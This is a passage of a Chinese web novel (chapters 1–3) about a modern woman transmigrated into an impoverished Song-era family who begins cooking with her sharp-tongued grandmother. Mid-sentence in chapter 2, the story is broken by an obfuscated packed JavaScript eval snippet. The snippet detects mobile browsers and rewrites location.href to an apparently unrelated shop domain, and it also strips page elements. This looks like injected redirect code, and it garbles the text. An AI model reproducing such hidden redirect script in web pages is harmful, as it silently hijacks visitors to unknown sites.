《汴京那家猛男烤肉店(美食)》 1. 第 1 章 “真……真的要吃吗？” 齐心捧着一口碗，看着碗里明显焦褐色的……粥？小心翼翼地开口。 段婆婆①也捧着同样的一碗坐在她对面，脸一黑，嘴一横。 “怎么，不吃等着再死一次啊？” 齐心噎了噎，段婆婆这张嘴可真是一点也不饶人，她只得闭上眼睛疯狂给自己做心理建设。 饿是真的饿啊…… 换谁在床上昏睡了两天滴米未进，也会和她一样饿得两眼昏花，看见吃得就想饿虎扑食吧？ 但首先得是人食，这碗糊粥它…… 她抬眼又看了看对面的段婆婆，果然收到眼神威胁。 认输！ 齐心手一抬，皱紧眉头，放空脑袋，努力关掉嗅觉和味觉，任凭碗里的颗粒艰涩地滑入口腔，尽力咽下。 良药苦口利于病，利于病…… 虽说这也称不上良药，她也只是死后余生，从后世穿越而来，重新活成一个人。 齐心，齐心。 她们还有这样同名的缘分。 齐心尽量不去回味“粥”留下的味道，好不容易都咽干净之后，这才睁开痛苦的眼睛，对上一双紧紧盯着她的目光，不得不伸手展示一下喝干净的碗底。 段婆婆瞧了一眼，从鼻子里挤出一声冷哼，面上嫌弃，但语气倒是稍稍缓和： “这便对了，好死不如赖活着。只要有口饭吃，就不值得去死。” 原身前两日闹着自挂房梁，好容易被段婆婆邀着邻居将人救了下来，甚至花了不少钱银请郎中来救人，可人应是没保住的，这才被穿越而来的她占了身体。 只是齐心并不确定，段婆婆这原身的亲奶奶，知不知道原身其实并没保住的事儿。 她在心里默默叹了口气，这样电视里才有的离谱桥段，竟真的发生在了她的身上。明明上一瞬还在街边悠闲地喝着咖啡，下一瞬那横冲直撞的轿车就直接冲着她面门而来。 再睁眼，就是陌生的环境，还是家道中落后家徒四壁的地方。 这个家着实老旧得很，齐心又环视了一圈，这灶房四壁斑驳，还有已然剥落的泥块，露出里头的枯草和朽木来，屋檐有一角略微破了个洞，一旦起风就簌簌地往灶房里灌进来。 只是或有人好好打扫过，灶房里的东西倒还算干净整洁。 这房子结构跟过年和爸妈回的老家很是相似。 一层的堂屋连着三个卧室，楼上一整层都当做仓库储物，一楼外边还搭了灶房和洗浴间，两处中间正好搭起一个柴棚，还有一个荒废的笼子，看着应该是从前用来养鸡鸭的地方，外头院子的角落里还有一口水井，打水也更方便。 在齐心这个现代人眼里实在简陋的住所，在这个时代已经算得上完善了。且说现在齐家这情况，还能有这样的屋子住都算是万幸。还好当年齐爹并没有在发家后就把这老院子卖掉，这才让她们仨好歹有个落脚之处。 “别看了，过来把碗洗了。” 段婆婆手里的那碗粥不知何时也已经喝完，略有些佝偻着起身，带着齐心就往灶房外走，那儿虽是院子的一部分，但更像是一条宽敞的巷子。 围着篱笆放了水缸，洗锅碗瓢盆菜都在这处，这儿实则是个错落的小坡，篱笆外就直接落了下去，正好辟出一片菜地，只是无人打整，现在菜地上都铺满了杂乱的草叶。 齐心看着那块地眼睛有些亮。 “婆婆，这菜地是我们的吗？” 许是国人的血脉作祟，她上辈子就爱在家里捣鼓点土盆，学着网上的教程种点葱姜蒜，爸妈看她这么上劲，差点要把家里阳台围出来给她种地，还好她拦得斩钉截铁，不然那室内阳台就要遭殃。 段婆婆狐疑地看了她几眼：“是啊，空了这么多年了，既你醒了我也能得空翻翻土，过几日赶集正好买点种子回来种下，也能省下不少买菜钱。不过你何时对菜地感兴趣了？” 从前可都是嫌脏嫌累，绝不染手的。 本因为有地可种有些兴奋的齐心，像是被瞬间浇了盆冷水，她怎么就能高兴得一时忘了伪装。 可她毕竟和原来的“齐心”不是同一个人，性格也不相仿，原身被宠得无法无天，一切只凭自己性子释然，可她虽有宠爱，却知自己被收养的身份，离着放肆总差那么一层。 家中有段婆婆还有一个正在养病的阿娘，这样亲近的关系，她们虽暂时没发现“齐心”的去处，时间长了怎么也会察觉出不对来。可如果就这样大喇喇地向她们坦白，怪力乱神之说人家又真的会信？又或是信了后不会把她一扫把赶出去吗？ 本就是穿越在人生地不熟的世界，可不能真让自己再沦落居无所，吃不饱穿不暖的日子了。 齐心一时下不定决心，只得想个接口敷衍过去。 “孙女折腾这么一次万幸没死，再不懂事也想明白了，就像婆婆说的，好死不如赖活着，家中有菜地，咱们有力气，只要干活咱们一家人就饿不死，孙女如今也要扛起担子才行！” 一番话说得有理有据又充满展望，听得段婆婆沉默，半晌才从嘴里憋出俩字。 “也好。” 齐心嘿嘿一笑，只当看不到段婆婆拼命压下的嘴角。 伤心就哭，开心就笑，这婆婆怎么连高兴也要这么别扭。 等齐心被段婆婆“指点”完怎么洗碗刷锅之后，又被提溜进了阿娘的屋子。 她还没进去就有些发怵，别说段婆婆都能察觉到不对，屋里的这个可是原身的亲娘啊，若真朝夕相处，她真能看不出来？ 自她从这家里醒来，凭着原身的记忆也知晓了不少齐家落败的始末。 齐爹原是凭着自己的厨艺一点点摸爬滚打，白手起家的，努力了十几年好容易混到府城开了家大酒楼，与他而言已算是顶顶的成就了，可偏大儿子是个不争气的，平日里吃喝玩乐也就算了，今年不知怎么还染上了赌，齐爹自是严令禁止的，可这东西只要染上便难断绝，那大儿子是三天两头的朝家里要钱。 在原身的记忆里，这个大哥哥不知是被人哄了或是诓了，但总之是脑子坏了竟敢偷了家里的房契和酒楼作抵，本想一举翻盘，却直接将全家都折了进去。 不仅在府城的大宅子没了，一生心血的酒楼也眼看着挂了别家的招牌，齐爹一时急火攻心竟生生葬送了，到死也没听见儿子说一声错，甚至见婆婆阿娘还要靠典卖嫁妆首饰才能勉强填上这笔赌债，天杀的他竟直接跑了！阿娘张秋玉也因此病倒在床上。 原身也不是个靠谱的，从小在蜜罐子里长大的姑娘，一时间接受不了家道中落的打击，自搬到这里后也还在幻想着从前的富家小姐生活，终日往外头跑，这照顾张氏的重担也落在了段婆婆的身上。 齐心光是回想原身的记忆就替这家人遗憾憋屈，可到底是他们的溺爱引起的祸端，或许真就是传说中的因果有报吧。但从前是从前，如今只要醒悟，重新振作，这日子也还有得过。 “怎么，现在想起来怕你阿娘担心了？” 段婆婆的声音打断了齐心的回忆，说着又在她背上轻轻推了一把，直接将人送进了她娘的屋子。 齐心一个蹑跷慌张站定，就对上正躺在床上的阿娘的眼睛。 “齐心”的阿娘张氏，唤张秋玉，原也是富农家的姑娘，与齐爹同甘共苦这许多年，不想又是一朝回到解放前。 她看着阿娘心头的委屈、遗憾、悔恨、难过……全都一股脑的涌了出来，齐心清楚这些难言的情绪并不是她自己的，而是那一个“齐心”留下的深刻。 她学着原身的模样，犯错似地垂下头，低低喊了一声。 “阿娘。” 张秋玉眼眶泛红，显然是哭过，人又因病着，这一哭就更显憔悴，她气息虚浮，勉强冲齐心招手示意靠近。 “没事了好孩子，都过去了。做人要往前看。” 齐心乖乖上前，就坐在床边，听她这样说一时有些鼻酸。 前身前两日在家里闹着要上吊，张秋玉虽病在床上，却不是聋了瞎了，知道 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女儿如今看着也有了转变，她若还拖着这病恹恹的身子，岂不是给她拖后腿？ 齐心退开帮阿娘抚着背，见她缓过来，神色也渐渐变得坚定，就知道她一定是想明白了，也跟着带上笑意。 “张娘子，吃饭啦！” 一家子正坐着，就听外头有人高喊了一声，那声音颇具穿透力，正如清晨的鸡鸣，叫人听得一哆嗦瞬间清醒。 齐心冷不丁听到面露惊愕，却见婆婆和阿娘都见怪不怪，婆婆起身往外迎，那人直接就往卧房里来了，手里还端着一个不小的陶碗。那娘子一开口，她就觉得连带着自己的胸腔都在震动。 “家里那泼猴儿一早起来就打翻了酱坛子，收拾了许久早饭就晚了带你，张娘子饿了吧，今日做的白崧②炒肉，我家那口子连吃了两碗粟米饭，说是好吃着呢，你快尝尝！” 张秋玉早已拭去眼下的湿润，尽力笑着客气道：“还不饿呢，李娘子来得正好。” 段婆婆从李娘子手里接过陶碗，道了声谢，这才把碗递给儿媳，齐心打眼一瞧，就看见碗里盛着的饭菜，表面铺着的大多是白崧，只零星点缀了几片薄如蝉翼的肉片，底下的应当就是李娘子口中的粟米饭了。 齐心忍不住怀念前世爸爸给她做的饭菜，不论是色香味，都相去甚远。 齐爸身为酒店大厨，做起这类家常菜来根本是游刃有余，空闲在家的时候总会变着花样给齐心做好吃的，见识过那样的饭菜，再看这妇人说好吃的菜就着实有些…… 不过确实比婆婆那个粥好多了。 她的眼神下意识地往婆婆身上飘去，这不看不打紧，一看就发现对视上的目光变成了狠狠一瞪。 她慌忙埋下头只敢在默默腹诽，余光瞥见婆婆不知从哪儿掏出来五文钱放到李娘子手中，又客客气气地把人送了出去。 重新看向那晚似乎算不上多美味的饭菜，齐心忽然明白过来。 哪怕家里现在钱银紧张，婆婆也不忍心让阿娘一个病人吃她做的那种……“不太健康”的东西。 张秋玉捧着那碗饭半晌没动，她自病后胃口一直算不上好，李娘子做的菜看着也着实没什么食欲，从前郎君做的饭她是日日年年都能吃得上的，心里难免不生出对比，一则感念亡夫，二则更是自责平白让家里多出一大笔支出，这让她更加坐立难安，食难下咽。 齐心见她不动，好奇问：“阿娘怎么不吃？” 没等她张嘴，齐心就见婆婆又进了屋，自是听见了她的问题，脸上的笑容还没淡去，嘴上却又开始催促。 “赶紧吃，吃了才好得快。方才不说得赶紧好起来吗，不吃怎么好？” 张秋玉垂眸，内心挣扎着，还是听话地先夹了一片菜往嘴里送，可刚送到嘴边又被她放下，下定决心般看向段婆婆。 “娘，家里银钱不多，明日起就别让李娘子来送饭了。” 2. 第 2 章 段婆婆眉心一拧，双眼一瞪：“那怎么行，你身子还没好呢！我…我做的那些东西不适合你吃，我知道你担心家里银钱，一日不过两碗饭的事儿，还是负担得起的。” 张秋玉今日似乎打定了主意不再吃李家做的饭，难得坚持道： “娘，我是过过苦日子的，一点小病难不倒我，只要有口吃的就饿不死，若是我贪这一口饭彻底断了家里的银钱，咱们就真的没活路了啊……”她说着，几乎要哭出来，声音近乎哽咽，“娘……不能再在我身上浪费钱了……” 齐心见两人争执，鼻头忍不住发酸，寻常百姓只是为了活着都需要付出许多努力。阿娘其实说得没错，如今这个家里只进不出，不管她们还剩多少钱银，终究是会被花完的。 都说开源节流，开源在先就知它重要性，若是一家人多少能有点收益，阿娘也不至于这么紧张一碗饭的事儿，且不止饭钱，她近来买药看病应当也不少花销，婆婆虽没说，但方才看她仔细又小心掏钱的动作，就知道剩下的钱肯定不多。 只是婆婆做的那种东西吧…还真不适合病人吃。 齐心在一旁犹豫了很久，终于在阿娘和婆婆的对峙中抬起头来，有些没底气地开口： “要不我试试？” 她虽没正经做过饭，可没吃过猪肉还没见过猪跑吗？ 在家里光是看爸爸做饭都看了至少百次，眼睛怎么也会了点皮毛，只是不知道实操如何，既然已到这般田地，不如放开胆子试一试。 万一呢？ 总不会比现在的情况更差了。 谁料张秋玉和段婆婆皆是倏然抬头，不可置信地看着她。 段婆婆皱着眉头，眼睛上下打量着像是在看什么新鲜玩意儿：“你不嫌那灶房脏乱油腻了？” 齐心顺势抬出最无法反驳的借口：“孙女这不是寻死不成大彻大悟了嘛，说不定我真有点做饭的天赋呢？这样阿娘也不必吃别家做的饭，咱们省下了钱，还能吃得更舒心更合口味是不是？” 张秋玉和段婆婆果然犹豫，低头略一沉思，还是张秋玉看向段婆婆先开口： “既然心儿愿意做，就让她试试好了。” 段婆婆面露怀疑，似不太情愿：“那就让你试试，就试一次啊，若是把我灶房给炸了，可绝不让你再进去。” 话虽如此，齐心也听明白了，立马笑开握拳保证：“好！段婆婆放心，我肯定给咱家灶房留个全尸！” “呸呸呸！说的什么晦气话！” 段婆婆作势就要捶她，齐心赶紧脚底生烟溜了出去，一头扎进灶房开始寻觅食材。 齐家搬到这儿来不过半月余，东西置办得其实不算齐全，仅有些基础的油盐酱醋，因着段婆婆她要做饭，新鲜的食材也备了一些，只是原身寻死前是绝不肯吃她做的饭，只每日讨要了钱自己跑出去吃喝，虽比不上从前山珍海味，但到底也没亏待自己的嘴。 至于要叫原身做饭那是更无可能的，她是从不进灶房的，只嫌它又脏又累，哪怕爹爹正是做厨子起家，也拦不住她满满的嫌弃。 齐心的视线在菜架上一点点滑过。 “葱，蒜，面条，番茄，叶……”她赫然停下，眼睛睁得老大，“等等等等，番茄？！” 按照原身的记忆，这里应是近乎北宋的时代，说是近乎，是因这里似乎已经收回了燕云十六州，可关键的是眼下，她分明看见了红润饱满的番茄，这个应该最早只能出现在明朝的蔬菜。 齐心将番茄抓在手里左右翻看，震惊半晌，还是自己拼命想出了理由安慰自己，或许她穿越的并非是正统的宋朝，而是类似于平行世界的北宋，这里早早就有大航海时代带来的外来物种和收复的燕云十六州，比她学到过的宋，更加繁荣平定。 这样一想她就更高兴了，这就意味着食物的多样性和更安稳的生活，眼前既然有了番茄，那别的外来物种还会远吗？后世才能做的许多美食，在这里或许也能得到实现。 她眼下虽还不会做饭，可有前世记忆的她，跟着爸爸做饭的步骤，再多加练习，假以时日一定能够做出可以下咽的饭菜。 家中有番茄有面…… 齐心扔下手中饱满的番茄，喜滋滋地去寻段婆婆。 “段婆婆！咱们出门去买菜吧，今晚咱们吃打卤面！” 段婆婆刚收了张秋玉吃完的饭碗准备去洗，就听孙女嗷嗷喊着又往堂屋来，一时只觉得头大，这孩子果然还是说一出是一出，真说了要做饭，这还转头就张罗上买菜了，不过只是煮个面，又能比她煮的好到哪儿去？ 还有番茄又是什么东西？灶房有吗？ 不过见齐心兴冲冲的模样，又总比寻死觅活强，她手一伸，眼神一示意，齐心立马乖乖接过空碗兴冲冲地回去洗碗，她站在原地，回头看了一眼堂屋供奉的神龛，脸上似有悲痛却也带了一丝释然。 跟上齐心向外走。 “不过只是吃面，滚水一煮就是，怎还要买菜？还有打卤面又是什么？” …… “段阿婆和齐小娘子这是要出门？” 李娘子接过齐心递过来，洗得干干净净的碗，见她俩手里挎着竹篮，随口一问。 “是啊李娘子，我和婆婆出门买菜，晚上正好自己弄点饭菜吃。” 李嫂子怔了怔，好半晌反应过来冲着段婆婆问：“您家孙女今日竟是同我说话了？” 齐心有些摸不着头脑，赶紧寻摸这自己脑海中“齐心”关于李娘子的回忆，“她”原先还真是没怎么正眼瞧过人家，就连话也是不屑说的。 她刚想找补几句，就被段婆婆拽到了身后： “也麻烦了你这样久，如今这孩子好了，我们也该靠自己过活才行，这些日子多谢了，这里有一点糖，正好给你家志哥儿解解馋。” 段婆婆说着，从竹篮里取出早就准备好的一个油纸包，出门前齐心眼看着她满脸肉疼地往里头放了一块糖，那块糖约莫一根手指大小，婆婆仔细检查了很久，再用油纸包得严严实实。 这时代白糖制取不易，能分这么一块儿已是极奢侈。 段婆婆说不让李娘子送饭便是断了人家一天五文的财路，都是邻里，总不能因为这事儿结了暗仇。 齐心当时听得乖乖点头，这会儿便只安静地看着李娘子反应。 听得不用再送饭，李娘子的脸色肉眼可见的衰落下去，可又听得有糖，那略微僵硬的表情又重新活络起来，人甚至比去家里送饭时瞧着更高兴了： “段阿婆，您说您实在是太客气了，这多不好意思啊！” 嘴上这般说，可齐心见她手上的动作可一点没犹豫，迅速手下像是生怕婆婆当场反悔不送了似的。 段婆婆只当瞧不见：“咱们都是低头不见抬头见的邻居，你照顾了我那媳妇儿这么久，一点心意也是应该的。东西送到，那我们就先走，只怕去晚了卖菜的就走了。” 李娘子丝毫没有埋怨的模样，嘿嘿笑着将人往外送： “那你们快去吧，齐小娘子你可要看顾好你婆婆啊！” 有段婆婆带路，齐心根本不操心认路的事儿，且原身从不爱跟着买菜买肉这类的事儿，她就算不认路也不算露馅儿，因此这会儿跟得心安理得，还时不时问一问附近的情况。 齐家这老房子虽在原武县城内，却也只是在城关边上，离着县城中心还有不少距离，今日并非赶集的日子，只能走远些去寻卖菜的铺子，价格会比赶集时的小摊儿稍贵些。 但难得齐心愿意去买菜，段婆婆也不想扫了她的兴，总归最后是进一家人的肚子，也不算浪费。 齐心记路记得认真，往后难免有需要她自己出门采买的时候，总不能老依靠段婆婆，她毕竟年纪大了，也该她这个年轻人来跑腿儿干活了。 段婆婆看她一路东张西望问个不停，心里早被勾起的好奇还是忍不住再问一次： “你说的那个打卤面…到底是什么东西？” 齐心这才收回看什么都新鲜的目光，摸着自己的下巴不知该作何解释，难不成这里还没有打卤面？ 她当时只是看着家中剩余的食材，正好想到这东西，一时没考虑它本不该存在的事情，可婆婆既这样问了，她也只能硬着头皮想个说法： “从前在别处听来的，就是将卤子炒好浇在面上，挂着卤汁的各式的卤子就能做出各式的味道，做法好像还算简单，所以我才想试试。” 见婆婆点点头，齐心这才放下心来，“她”原就爱出去吃喝玩乐，哪怕自己家中就是开酒楼的，偏她不爱吃自家的东西，非要跑到外头去吃，所以知道些婆婆没听说过的饭菜也正常。 若是以后被发现撒了谎……那就以后再操心吧。 段婆婆没了疑问，又习惯性地走在前头。 齐心乐呵呵地看着，婆婆年纪虽大腿脚却好，三两步追不上，也就任由她去，只默默在后头跟着。 这原武城隶属于郑州郡，离着汴京其实算不上远，可放在这个车马不便的时代，就着实是山高路长了。 可齐爹原先凭自己也能带着一家子到府城开酒楼做生意，说不得她以后还能走得更远，去看看那后世书画中描摹的北宋都城是怎样的繁华模样。 段婆婆先是领着齐心去了卖菜的铺子，这会儿已是辰时，铺子里的叶菜瞧着不算特别新鲜，卖家主动降了价，少买些也不比赶集时贵多少，她面上隐隐约约的紧张这才松懈。 齐心看见一摞摞摆得整齐的蔬菜，双眼放光，本不该出现在宋朝的马铃薯莱菔竟也出现在这里。 番柿莱菔①三文一斤，马铃薯便宜些，只需两文一斤。 角落里扔着一篓子青菜看着还算翠绿却没写名字价格，齐心有些好奇： “店家，这个菜怎么卖的？” 那店家抬起头来，左左右右将两人打量了个遍，见两人穿着并不似吃不起饭的农户，这才答： “那是自家亲戚种的鸡毛菜，长得不好，就放我这儿随意卖些，那一篓子约莫二三斤，给个十文钱就是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058811|194954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 那青菜看着颇像后世的上海青，齐心并不清楚店家口中鸡毛菜的行市，前身从前更是个不知人间烟火的大小姐，也没得记忆寻觅，她只能向婆婆投去求助的视线。 段婆婆听到十文钱时脸色已经彻底垮下来，再看到孙女根本拿不准的模样，就知道正该自己出场了。 她叉着腰往铺子又走近一步，指着那店家张口就来： “你这黑心的，瞧见我孙女年纪小不懂事就想骗她是吧！什么烂菜叶子也值十文钱，这鸡毛菜便是长得好的也不过两文一斤，又软又塌便是一文都卖不出去，你当我这老太婆是死了还是瞎了！” 那店家备当头一棍，顿时愣了，见外头路过的都揣着好奇朝这边看来，暗道一声不好，赶忙赔笑上前： “这位阿婆说的哪里的话，确实是有这么多份量这才贵些，看你们眼生，应该是第一次来吧？这样，我也当惠顾新客，你们今日在店里随意买些别的菜，这些鸡毛菜就都送给你们了，往后多多惠顾才是。” 段婆婆冷哼一声仍撇着嘴，齐心在一旁看得目瞪口呆。 老辈子的杀价口才，难道都是天生的吗？ 这…这样就行了？她前世去菜市试图降价，都是弱弱地问一句“老板能便宜吗？”，被人白上一眼说一句都不挣钱果断拒绝后她就不敢再说了，只能乖乖按原价买单，她还以为人家是真的不能便宜呢…… 该死的……那她上辈子是吃了多少亏！ 向段婆婆投去佩服的目光，十文的东西转眼就能免费送，本来也还要买别的菜，这真是掉馅饼了。 段婆婆斜睨了她一眼，没急着回店家的话，只是先问她： “可想好买什么了？” 齐心勾着手指头：“家中只有两个番柿估计不够，再来上三个大些的，莱菔黄瓜各来一个，芫荽来上几根，好像还得少放些黄花菜和豌豆，啊还得来块儿姜，再…再挑三五个香蕈②，搭鸡毛菜正好。” 段婆婆知道她看不出菜的好坏，听着她的嘀咕要买的还不少，赶紧上前挑了一篮子递给店家：“称称看。” 店家笑着给上了称：“这番柿莱菔黄瓜黄花菜都是三文一斤，拢共三斤二两，就是九文五钱，姜六文一斤，这四两便是两文，还有香蕈芫荽③八文一斤，这儿加起来有半斤，豌豆少许，给个一文便是。这就共十六文五钱，承惠。” 段婆婆没急着掏钱：“这莱菔放了有几日了吧，不甚新鲜，再便宜些。” 店家顿时面露难色：“这…这鸡毛菜白送已是极便宜了。” “我们刚搬来就住在附近，往后总是要常来的，店家你多多便宜些，自会常来。”见店家还不点头，段婆婆又道，“听我家隔壁娘子说，再往前还有一家卖菜铺子，种类多价格也实惠……” 店家几乎是咬着牙满脸为难：“哎呀阿婆你看你说的哪里的话，这样，你们今日头次来，我便再给你抹掉一文五钱，再多是真不行了，我这小买卖您可得给我留条活路，若再杀价，我便真不卖了。” 段婆婆严肃的脸色忍不住挂了笑，掏了钱递给店家：“那就多谢了。” 说着还拽了一把齐心，齐心立刻会意，也甜甜地笑起来道谢：“多谢店家。” 买了菜还没完，齐心又请段婆婆带着去买了十个鸡子二两猪肉，鸡子两文一个，猪肉八文三钱，摊主给抹了那三钱，婆婆高兴得直说下次还来。 今日出门一趟拢共花了四十三文，都快值上一斤猪肉了。 要知这会儿寻常劳力一日不过也就挣几十百来文，她们这一趟便花了大半。花钱的时候齐心其实一直有些不自在，可眼看婆婆并没有丝毫的犹豫，又不好在外头详问家里的底细，只好忍着不敢买得太多。 那猪肉婆婆还说给阿娘和她养身子可以多买些，她劝了好几句这才要少。 李娘子远远地见段婆婆和齐心拎着满满当当的东西回来，扯着正和她一起洗衣裳的隔壁许娘子闲扯天。 “你说这人寻死觅活一次了就能变这么好吗，这隔壁的齐小娘子先前看见咱们那都是鼻孔朝天的，今日竟能陪着她婆婆出门买菜，还有了笑模样，这人可真是稀奇，莫不是死上一回人就疯了？” 那许娘子并未附和：“估计小姑娘就是想开了，人想开了便是万事顺遂。” 说完也不再等李娘子，匆匆将衣裳投洗了先一步离开，她惯不爱说旁人的闲话，若再留下，只怕李娘子还要同她继续扯些旁的。 李嫂子对齐家熊熊燃烧的八卦之心瞬间浇灭，可到底嘴上闲不下，又盯上了远些的王家，自言自语着。 齐心和段婆婆自是不知道远远的也被人议论过，只是提着肉蛋菜进了灶房归置。 灶房里只有她们两人，齐心别了一路终于寻到机会开口：“婆婆……咱们家…那个……” 段婆婆觑了她一眼：“什么话不能干干脆脆地说？说。” 她深吸一口气，终于和婆婆对视： “咱们家到底还剩多少银两啊？” 3. 第 3 章 灶房里瞬间陷入难言的尴尬中。 段婆婆半晌没说话，只是眼光闪烁，许久后垂眸，似是下定了什么决心：“你跟我来吧。” 齐心有些忐忑，但还是跟着她往屋里去。 就见她先是仔细关了堂屋的门，这才带着齐心进了自己那间卧房，掀开那床不算厚实的褥子，再打开褥子下的一块木板，小心翼翼地从角落里掏出一个巴掌大的布包。 拿好东西，段婆婆顺势坐在床边，招呼齐心也过去坐下，这才缓缓打开将包裹打开。 “这就是我们如今全部身家，当时催债的上门收宅院，我与你娘也是懂东塞西藏才勉强拿出来一点，不然只怕都要被那群强盗强抢了去。如今余钱不过二十几两，看病吃饭都是大头，你这丫头之前又……” 她欲言又止，看了一眼齐心到底没继续说下去。 齐心隐约能猜到她想说什么，大抵是原身的任性又花费了不少，这才叫日子过得这样紧巴，但婆婆既然不明说，她也不主动戳破。 低头看向婆婆所说的全部身家，果然只有一些碎银，三五件银首饰，按着原身的记忆都是不太时兴的款式了，估摸着是都是婆婆自己的嫁妆，实在舍不得变卖了这才留下来。 “那阿娘的病……” 提到这事儿段婆婆面色愈发黯淡：“每五日便要去抓药，每次约莫二两银子，再过两日又该去了。” 她边说，齐心边在心里估算着，光是支撑阿娘用药的开销也不够两个月，家里日常还得吃喝，余下的钱怕是仅够一个月的了。 一个月…… 上哪儿找挣钱的法子呢？ 这里普通门户的女子多以女红等精巧活计挣钱，原身都不会她一个穿越而来的就更不会了。 还得令想它法。 “只可惜你爹一手的好厨艺，还没等到你大哥继承就去了。”段婆婆长叹一声继续自己的话，“如今虽比正常撒子的时节晚了些，但天气好，菜长得也快，等我种好了菜，也能拿到集市去挣点家用，等你娘好了，你就跟着她好好学学女红，也能有一口饭吃。” “集市啊……”齐心略有所思，先帮段婆婆收了钱银这才起身，“婆婆快将东西收好，我先去洗菜做饭了。” 不等婆婆答，她迅速回了灶房，将方才放下的菜篮提溜出院子来。 从水缸里舀了两瓢清水倒进木盆，再将番柿莱菔黄瓜芫荽全都倒进去，姜也掰下一小块扔了进去，余下的其它菜没动，留着明日再吃。 尽数淘洗干净再搬回灶台，齐心翻出一把菜刀，对着那些菜就开始比划。 这菜刀刀刃锐利，握把油润润的，一看就知道先前掌勺的人被保养得很好，齐心猜测就是她那去世了的便宜爹留下的，毕竟前世就总听爸爸说，好厨子就是得先有把好菜刀，他在饭店后厨早就已经不需要做墩子切菜，所以只有在家时能看见他磨刀养护，宝贝一般。 齐心手中的这把刀很有些分量，她捏久了就觉得有点握不住，虎口酸痛难耐，只得切一会儿歇一会儿，番柿过滚水撕掉皮，她用菜刀削皮的动作称得上生疏，莱菔黄瓜小心削了半晌，没算浪费太多。 番柿切块，莱菔黄瓜生姜切丝，芫荽切段，都放在一旁备用，再打上五个鸡子，倒在碗中再加一点清水，搅拌均匀。 这是爸爸从前跟她说过让鸡蛋软嫩的小诀窍，她一直记着。 就是这下锅的时机和顺序…… 齐心看着面前那一口大锅兀自出神，手指摩挲着下巴不知在想些什么，正苦恼着，她脑海中忽然响起一道突兀的声音： “恭喜您成为‘厨神论坛’的一级会员，为您解锁本论坛讨论区浏览功能。” 吓得她原地起跳，左右环顾。 “谁！谁在说话！” 可这灶房除了她自己，根本没有旁人的身影。 难不成是出现了幻听？可等她刚决定先找来油罐儿，竟又听到方才那道略显机械的声音。 “您可以随意浏览讨论区的发帖，或在页面顶端搜索您感兴趣的内容。目前您的经验值为1/10，下次升级将为您开放基础菜谱功能页，敬请期待。” 声音消失，齐心眼前骤然出现了奇怪的画面，她又是一惊，缓了缓这才仔细去看。 一个形似古早论坛的群帖画面就在她面前，像是在后世带上了AR眼镜，那页面就飘在她目光所及的虚空位置。刚刚说的什么“厨神论坛”？倒确实像是后世的做饭app，只是目前只能看到平台用户的发帖，她的注意力瞬间被其中一条帖子吸引，没等她反应过来，页面突然跳转，里头正是别人分享今日做的三套鸭，还有许多指正的评论。 这东拼西凑下来，也能大致知道食材用料、操作步骤，还有可以规避的问题。 若是这样…那是不是也有可能搜到她今日要做的打卤面？ 可还没等她考虑该怎么操作，这页面径直又回转，自动在搜索框里替她完成了打卤面的搜索，竟真的有不少有关打卤面制作的发帖！ 这这这……这算什么？ 明晃晃的金手指？瞌睡来了送枕头？ 难道她真是什么天选之女，不仅能穿越，还能有额外的助力？ 齐心几乎想仰天长笑，又怕惊动了屋里的婆婆和阿娘，只得捂住自己的嘴，一边拍大腿一边无声笑着。 —— 段婆婆进来时齐心正狼狈地把碗里细碎的蛋壳朝外扒拉，见婆婆直直看过来，她只能尴尬一笑。 “咳咳，这…这是失误！” 段婆婆没吭声，只是看了看她丰富备菜的灶台。 “煮个面阵仗这样大。” 一种备菜一个碗碟，还有调料罐油罐全让她翻了出来，都摆在锅边。 “婆婆正巧你来了！我刚想进屋请你教教我呢。” 这里没有煤气罐儿更没有液化气，木柴生火……她是真不会啊！ “就知你不会，我这才过来。”段婆婆果然凑了过来。 齐心乖乖点头：“今日婆婆教了我，往后我就能自己生火做饭了。” 段婆婆带着她往外头的柴棚去了，挑了几根劈好的木柴，又抓一把松枝柴屑，绕回灶房从角落里拿出火石，细致地教了一遍齐心，然后眼看着她自己动手。 齐心动作很慢也有些笨拙，但段婆婆只是看着，并没催促。 好一会儿，灶堂内先是小火熏了一阵烟，底下架空铺好的木柴忽地就燃起来了，齐心惊奇回头，抓着段婆婆的手高兴得直喊： “真的生起火了！” 柴火烧得旺，炒锅很快就热了，齐心浇上两勺菜籽油，似乎听见身后有人倒吸一口凉气的声音，没太在意，她继续把搅散的蛋液一股脑倒进锅中，再用炒勺打着圈抄拌，等鸡蛋完全凝固捞出。 段婆婆挑的番柿很好，红彤彤的一看就是极易出沙的样子，齐心又挖了一小勺猪油，就着锅里挂壁的菜籽油，耐心等猪油彻底融化后，再将切块的番柿倒进去一大半。 凭着记忆里爸爸翻炒的动作，生疏却细致地挤压和翻动，炒勺与炒锅撞击间发出的声响，将她又带回那些看着爸爸做饭的瞬间。 番柿果然很快就化成了沙，齐心眼前的帖子评论区出现一条[放糖美味翻倍！]。 她一拍脑门，忙回头去找段婆婆，眨巴着眼睛状似撒娇：“婆婆婆婆！家里有砂糖吗？” 段婆婆脸色不算太好：“好好做着饭呢突然要糖作甚？” “不是吃的，是炒菜用。” 段婆婆不解，但段婆婆照办。 去给齐心翻出仅剩的一小块糖包递给她，她刚想接过，就见段婆婆忽然又收回手，把糖包紧紧抱在自己怀里，很是严肃地问：“不会用太多吧？” 齐心知道糖的珍贵，立刻捏了三指承诺：“婆婆放心，我就只用一小点点点……” 段婆婆狐疑地看她一眼，犹豫片刻，还是忍痛递出了糖： “你做饭吧，我先回房了。” 齐心得了糖立刻回头忙着和番茄对战，实在没功夫估计婆婆的心疼，可她刚回头，就又听身后传来婆婆求证的声音： “真的只用一点点？” 齐心有些想笑，手里一边翻炒着一边好言相哄：“婆婆放心，真的只需要一点点！” 段婆婆皱着眉头，双手背在身后，点点头，微微佝偻着身子离开。 等人彻底消失在灶房门口，她终于又能重新专注在自己的第一道菜上，找来锅盖任由番柿再炖上一会儿。 